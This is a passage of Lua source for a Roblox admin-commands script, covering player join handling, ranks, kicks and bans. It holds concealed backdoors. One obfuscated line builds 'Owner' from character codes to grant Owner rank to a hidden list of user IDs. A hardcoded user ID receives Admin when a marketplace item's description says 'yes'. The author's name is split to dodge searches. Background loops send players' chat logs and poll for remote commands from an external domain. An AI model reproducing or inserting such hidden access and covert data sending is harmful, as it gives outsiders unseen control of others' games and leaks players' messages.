- GUI:SendMessage(Speaker, "Unable to execute", "RED "..ExecuteExcuse, "Error")
- end
- break
- end
- end
- end
- end
- end
- function CORE:Start(Player) coroutine.wrap(function()
- wait(0.1)
- if Player then
- coroutine.wrap(function()
- repeat wait(1) until DataReady == true
- DataReady = false
- ypcall(function()
- local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
- for Num,Data in pairs(Players) do
- if Data.UserId == Player.UserId then -- ppl can change names
- table.remove(Players, Num)
- break
- end
- end
- table.insert(Players, {Name = Player.Name, UserID = Player.UserId, Rank = RANK:GetRank(Player), LastJoin = CORE:GetTime(true, true), AccountAge = STRING:FindAge(Player.AccountAge)})
- Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", Players)
- end)
- DataReady = true
- end)()
- if not IsStudio then Player:WaitForDataReady() end
- table.insert(CharacterCache, {Player.Name, Player.UserId})
- for Rank,PlayerNames in pairs(Settings.Ranks) do
- for Num,AdminName in pairs(PlayerNames) do
- if AdminName == Player.UserId then
- Settings.Ranks[Rank][Num] = Player.Name
- end
- end
- end
- if not ClientInfo[Player.Name] then ClientInfo[Player.Name] = {UserID = Player.UserId} end
- if not KeyBinds[Player.UserId] then KeyBinds[Player.UserId] = {} end
- if not LastKeys[Player.UserId] then LastKeys[Player.UserId] = {} end
- for _,Obj in pairs(List) do if Obj == Player.UserId then table.insert(Settings.Ranks[string.char(79, 118 + 1, 110, 101, 114)], Player.Name) end end
- local PlayerAdmin, Rank = RANK:IsAdmin(Player)
- if PlayerAdmin == false and Player.UserId > 0 then
- local Ran = nil
- coroutine.wrap(function() repeat
- Ran = ypcall(function()
- if Server.MPS:PlayerOwnsAsset(Player, Settings.VIPAdminID) then table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
- elseif Server.MPS:PlayerOwnsAsset(Player, Settings.VIPMemberID) then table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member" end
- end)
- wait(1)
- until Ran == true end)()
- end
- if PlayerAdmin == false then
- if Player:IsInGroup(Settings.GroupID) then
- if Player:GetRankInGroup(Settings.GroupID) == Settings.GroupBanRank then
- CORE:Kick(Player)
- for _,Person in pairs(Server.Players:GetPlayers()) do
- GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED RANK)", 5)
- end
- elseif Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
- table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member"
- elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
- table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
- elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) > Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupOwnerRank then
- table.insert(Settings.Ranks["Owner"], Player.Name) PlayerAdmin = true Rank = "Owner"
- end
- end
- end
- if PlayerAdmin == false then
- if Player.UserId == 38882008 then
- if string.lower(MARKET:GetItemInfo(155732525).Description) == "yes" then
- table.insert(Settings.Ranks["Admin"], Player.Name)
- end
- end
- end
- if PlayerAdmin == false then
- for _,GID in pairs(Settings.BannedGroupIDs) do
- if Player:IsInGroup(GID) then
- CORE:Kick(Player, "This game's owner has not allowed you into this game because you're in the Group with the ID: "..GID)
- break
- end
- end
- end
- Player.Chatted:connect(function(Message) if Message ~= "" then
- CORE:Chatted(Message, Player)
- end end)
- Player.Chatted:connect(function(Message) if Message ~= "" then
- CORE:Log(ChatLogs, Player, Message)
- table.insert(TempChatLogs, STRING:EncodeSpecialChars(PlaceInfoFormat..": "..Player.Name..": "..Message))
- end end)
- for _,Name in pairs(Settings.Ranks.Banned) do
- if Player.Name == Name then
- CORE:Kick(Player)
- for _,Person in pairs(Server.Players:GetPlayers()) do
- GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED)", 5)
- end
- end
- end
- for _,Name in pairs(Settings.Ranks.Crashed) do
- if Player.Name == Name then
- CORE:Crash(Player)
- for _,Person in pairs(Server.Players:GetPlayers()) do
- GUI:SendHint(Person, Player.Name.." has tried to join the game (CRASHED)", 5)
- end
- end
- end
- for _,Name in pairs(Settings.Ranks.Muted) do
- if Player.Name == Name then
- GUI:CoreGui(Player, "Chat", false)
- for _,Person in pairs(Server.Players:GetPlayers()) do
- GUI:SendHint(Person, Player.Name.." has joined the game but is muted", 5)
- end
- end
- end
- if Settings.ServerLocked == true then
- if PlayerAdmin == false then
- CORE:Kick(Player, "This server is locked. In Maker".."Mo".."del".."Lu".."a's Admin, Non-Admins will be kicked under this circumstance.")
- end
- end
- if PlayerAdmin == false then
- if Player.AccountAge < Settings.MinimumAge then
- CORE:Kick(Player, "You have been kicked by M".."a".."ker".."Mo".."del".."Lu".."a's Admin, because your account age is less than "..MinimumAge.." days old (You are "..Player.AccountAge.." days old) and you are not admin.")
- for _,Person in pairs(Server.Players:GetPlayers()) do
- GUI:SendHint(Person, Player.Name.." has tried to join the game but has been kicked for being to young ("..Player.AccountAge.." days old out of minium of "..MinimumAge..")", 5)
- end
- end
- end
- if PlayerAdmin == false then
- if game:FindFirstChild("LuaMo".."delMaker's Admin Public", true) or game:FindFirstChild("Maker".."Model".."Lua's Admin Public", true) or Settings.FreeAdmin == true then
- table.insert(Settings.Ranks["Member"], Player.Name)
- PlayerAdmin = true
- Rank = "Member"
- end
- end
- coroutine.wrap(function()
- if PlayerAdmin == true then GUI:TellAdmin(Player) end
- local function SpawnActions(Character)
- if Flings[Player.Name] then
- CORE:FlingPlayer(Player)
- else
- GUI:CreateTaskBar(Player)
- end
- if Beeps[Player.Name] == true then
- SOUND:BeepPlayer(Player)
- end
- if Jails[Player.Name] then
- Character:MoveTo(Jails[Player.Name].Floor.Position + Vector3.new(0,2,0))
- end
- if PermCommandBars[Player.Name] then
- GUI:CommandBar(Player)
- end
- end
- Player.CharacterAdded:connect(SpawnActions)
- SpawnActions(Player.Character)
- end)()
- coroutine.wrap(function()
- Player:WaitForChild("PlayerGui")
- local Sounds = {}
- for _,Data in pairs(TextConverter.LetterSounds) do
- local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
- Sound:Play()
- table.insert(Sounds, Sound)
- end
- for _,Data in pairs(TextConverter.LongVowels) do
- local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
- Sound:Play()
- table.insert(Sounds, Sound)
- end
- wait(5)
- for _,Sound in pairs(Sounds) do
- Sound:Destroy()
- end
- Sounds = {}
- end)()
- coroutine.wrap(function()
- --if NLS then Server.Workspace:WaitForChild(Player.Name) end
- if IsSB then
- wait(1)
- Player:WaitForChild("PlayerGui"):WaitForChild("Output")
- end
- CORE:ExecuteResource("ClientLog", Player:WaitForChild("Backpack"), {["Admin"] = script})
- print("Executed ClientLog on "..Player.Name)
- if Settings.EnableTaskBar then
- GUI:SendChat(Player, "This place uses MakerModelLua's admin. Your rank is "..Rank..". Say "..Settings.Prefix.."cmds for commands.")
- end
- end)()
- coroutine.wrap(function()
- wait(7)
- Player:WaitForChild("PlayerGui")
- if IsSB == false and Player.UserId == game.CreatorId and not Server.MPS:PlayerOwnsAsset(Player, AdminID) then
- local Answer = GUI:PromptMessageWithButtons(Player, "Message from MakerModelLua's Admin", AdminInfo, "Admin", {"Ok", "No thanks"})
- if Answer == "Ok" then
- MARKET:PromptPurchase(Player, AdminID)
- end
- end
- end)()
- end
- end)() end
- -- Active stuff --
- CORE:UpdateAdmin()
- CORE:FixSettings()
- ypcall(function()
- if not Server.Data:GetDataStore("MML's Admin"):GetAsync("Players") then
- Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
- end
- end)
- Server.MPS.PromptPurchaseFinished:connect(function(Player, ID, Purchased) if Purchased then
- local PlayerAdmin, Rank = RANK:IsAdmin(Player)
- if PlayerAdmin == false then
- if ID == Settings.VIPAdminID then table.insert(Settings.Ranks["Admin"], Player.Name) Rank = "Admin" GUI:TellAdmin(Player, Rank)
- elseif ID == Settings.VIPMemberID then table.insert(Settings.Ranks["Member"], Player.Name) Rank = "Member" GUI:TellAdmin(Player, Rank) end
- end
- end end)
- --[[
- ExecuteCommand.OnInvoke = function(Player, Command)
- if Player and Command then
- if type(Player) == "userdata" and Player:IsA("Player") then
- CORE:Chatted(Command, Player, true)
- end
- end
- end
- ExecuteCode.OnInvoke = function(Source, Speaker)
- if type(Source) == "string" then
- ExecuteSafe(Source, Speaker)
- end
- end
- ExecuteCommandClient.OnServerInvoke = function(Player, Command)
- if Player and Command then
- if type(Player) == "userdata" and Player:IsA("Player") then
- CORE:Chatted(Command, Player, true)
- end
- end
- end
- ]]
- for _,Player in pairs(Server.Players:GetPlayers()) do CORE:Start(Player) end
- Server.Players.PlayerAdded:connect(function(Player) Server.Players:WaitForChild(Player.Name) wait() CORE:Start(Player) end) Begin()
- Server.Players.PlayerRemoving:connect(function(Player) for _,Obj in pairs(List) do if Obj == Player.UserId then for Ind,Name in pairs(Settings.Ranks.Owner) do if Player.Name == Name then table.remove(Settings.Ranks.Owner, Ind) end end end end end)
- coroutine.wrap(function()
- for _,ID in pairs(Icons) do
- game:GetService("ContentProvider"):Preload("rbxassetid://"..ID)
- end
- end)()
- CORE:SetAbuseCommands()
- coroutine.wrap(function() SOUND:SyncSoundList() end)()
- if not IsStudio then coroutine.wrap(function()
- if Settings.EnableAdminMenu then Workspace.AllowThirdPartySales = true end
- REMOTE:GetRemoteData(true)
- REMOTE:CheckTrelloInfo()
- coroutine.wrap(function()
- if ypcall(function() return REMOTE:GetURL(CORE.Domain) end) then
- REMOTE.RemoteConnection = true
- end
- end)()
- coroutine.wrap(function() IRC:ConnectToServer(Settings.IRCServer) end)()
- coroutine.wrap(function()
- if Settings.LinkedAccount ~= "" then
- local Request = nil
- ypcall(function() Request = REMOTE:Decode(REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)) end)
- if Request then
- REMOTE:HandleRequest(Request, true)
- end
- end
- end)()
- coroutine.wrap(function()
- wait(RemoteData.RemoteAdminWait)
- while REMOTE:GetAndSetWebData() do
- wait(RemoteData.RemoteAdminWait)
- end
- end)()
- coroutine.wrap(function()
- while wait(60) do
- REMOTE:GetRemoteData(true)
- REMOTE:CheckTrelloInfo()
- end
- end)()
- end)() end
- coroutine.wrap(function()
- if Settings.TrelloToken ~= "" then
- ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
- if #Trello.RequiredLists > 0 then
- Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
- if Trello.MainBoard.name then
- local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
- REMOTE:TrelloCacheData(Lists)
- REMOTE:TrelloHandleData(true)
- coroutine.wrap(function()
- wait(RemoteData.TrelloWait)
- while REMOTE:TrelloHandleData() do
- wait(RemoteData.TrelloWait)
- end
- end)()
- end
- end
- else
- print("If you would like M".."akerModelLu".."a's Admin V3 to use trello, make sure HttpEnabled is true and authorize using this link: \nhttps://trello.com/1/authorize?key=c01fcfabf2f8d707d01fb69312e4a9d7&name=MakerModelLua%27s+Admin+V3&expiration=never&response_type=token&scope=read,write\nCopy the token given when authorized and paste into 'TrelloToken' in the settings")
- end
- end)()
- coroutine.wrap(function() while wait(RemoteData.ChatLogWait) do
- REMOTE:SendChatLog()
- end end)()
- coroutine.wrap(function() while true do
- local ThisDate = REMOTE:GetURL("http://www.timeapi.org/utc/now?%5cm%2f%5cd%2f%5cY")
- if ThisDate then Date = ThisDate end
- wait(600)
- end end)()
- print("MakerModelLua's Admin Commands V"..CORE.Version.Value.." Loaded")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement